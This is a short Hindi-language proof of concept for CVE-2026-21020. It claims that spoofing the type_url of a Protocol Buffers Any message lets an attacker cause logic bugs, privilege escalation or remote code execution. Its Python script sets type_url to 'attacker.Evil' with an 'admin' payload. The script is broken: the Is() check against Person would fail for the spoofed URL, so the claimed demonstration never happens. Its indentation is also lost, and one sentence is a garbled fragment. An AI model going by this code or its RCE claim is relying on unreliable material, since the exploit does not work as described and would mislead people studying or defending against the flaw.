
CVE-2026-21020 के लिए PoC, जो Protobuf Any-प्रकार के बहुरूपी deserialization को प्रदर्शित करता है, जहाँ attacker-नियंत्रित type_url लॉजिक बग, RCE, या विशेषाधिकार वृद्धि का कारण बन सकता है।
# proto_vuln.py - Insecure handling of Any type
import addressbook_pb2 # Example protobuf
# Simulated deserialization that trusts an injected type_url
from google.protobuf import any_pb2
any_msg = any_pb2.Any()
any_msg.type_url = "type.googleapis.com/attacker.Evil"
any_msg.value = b'\x0a\x05admin' # serialized payload
# Application unpacks to expected type but could instantiate arbitrary class if using dynamic loading
if any_msg.Is(addressbook_pb2.Person.DESCRIPTOR):
person = addressbook_pb2.Person()
any_msg.Unpack(person)
print("Person unpacked, but type_url was spoofed!")
एक सेवा संदेशों को एनकैप्सुलेट करने के लिए Protocol Buffers के Any प्रकार का उपयोग करती है और अपेक्षित प्रकार को मान्य किए बिना type_url फ़ील्ड का उपयोग करके उन्हें गतिशील रूप से अनपैक करती है। एक हमलावर एक निर्मित type_url के साथ एक संदेश भेज सकता है जो किसी खतरनाक संदेश वर्ग (या अनपेक्षित वर्ग) की ओर इशारा करता है, जिससे लॉजिक बग या कोड निष्पादन हो सकता है।
type_url के आधार पर पेलोड को डिसीरियलाइज़ करता है।सिमुलेशन चलाएँ:
pip install protobuf
python proto_vuln.py
यह दर्शाता है कि Any प्रकार को स्पूफ किया जा सकता है; यदि कोड type_url से क्लास को गतिशील रूप से लोड करता है, तो यह RCE की ओर ले जा सकता है।